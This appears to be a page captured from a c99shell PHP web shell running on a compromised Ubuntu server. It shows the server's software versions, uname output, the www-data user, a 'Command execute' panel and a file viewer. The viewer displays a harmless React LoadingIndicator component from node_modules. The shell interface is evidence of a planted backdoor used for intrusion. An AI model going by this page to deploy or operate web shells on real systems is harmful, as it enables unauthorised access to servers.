Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/wincloud_gateway/node_modules/@buffetjs/styles/build/esm/components/LoadingIndicator/ drwxr-xr-x | |
| Viewing file: Select action/file-type: var _templateObject, _templateObject2, _templateObject3;
function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); }
/**
*
* LoadingIndicator
*
*/
/* eslint-disable indent */
import React from 'react';
import PropTypes from 'prop-types';
import styled, { css, keyframes } from 'styled-components';
var spin = keyframes(_templateObject || (_templateObject = _taggedTemplateLiteral(["\n 0% {\n transform: rotate(0deg);\n }\n 100% {\n transform: rotate(360deg);\n }\n"])));
var getSize = function getSize(size, small) {
if (size) {
return size;
}
if (small) {
return '11px';
}
return '26px';
};
var Loader = styled.div(_templateObject2 || (_templateObject2 = _taggedTemplateLiteral(["\n display: flex;\n justify-content: space-around;\n width: 100%;\n > div {\n width: ", ";\n height: ", ";\n /* stylelint-disable */\n border: ", ";\n border-top: ", ";\n\n /* stylelint-enable */\n border-radius: 50%;\n animation: ", ";\n"])), function (_ref) {
var size = _ref.size,
small = _ref.small;
return getSize(size, small);
}, function (_ref2) {
var size = _ref2.size,
small = _ref2.small;
return getSize(size, small);
}, function (_ref3) {
var borderColor = _ref3.borderColor,
borderWidth = _ref3.borderWidth;
return "".concat(borderWidth, " solid ").concat(borderColor);
}, function (_ref4) {
var borderWidth = _ref4.borderWidth,
borderTopColor = _ref4.borderTopColor;
return "".concat(borderWidth, " solid ").concat(borderTopColor, " !important;");
}, function (_ref5) {
var animationTime = _ref5.animationTime;
return css(_templateObject3 || (_templateObject3 = _taggedTemplateLiteral(["\n ", " ", " linear infinite\n "])), spin, animationTime);
});
var LoadingIndicator = function LoadingIndicator(_ref6) {
var animationTime = _ref6.animationTime,
borderColor = _ref6.borderColor,
borderTopColor = _ref6.borderTopColor,
borderWidth = _ref6.borderWidth,
small = _ref6.small,
size = _ref6.size;
return /*#__PURE__*/React.createElement(Loader, {
animationTime: animationTime,
borderColor: borderColor,
borderTopColor: borderTopColor,
borderWidth: borderWidth,
small: small,
size: size
}, /*#__PURE__*/React.createElement("div", null));
};
LoadingIndicator.defaultProps = {
animationTime: '2s',
borderColor: '#f3f3f3',
borderTopColor: '#555555',
borderWidth: '4px',
size: null,
small: false
};
LoadingIndicator.propTypes = {
animationTime: PropTypes.string,
borderColor: PropTypes.string,
borderTopColor: PropTypes.string,
borderWidth: PropTypes.string,
size: PropTypes.string,
small: PropTypes.bool
};
export default LoadingIndicator; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]-- |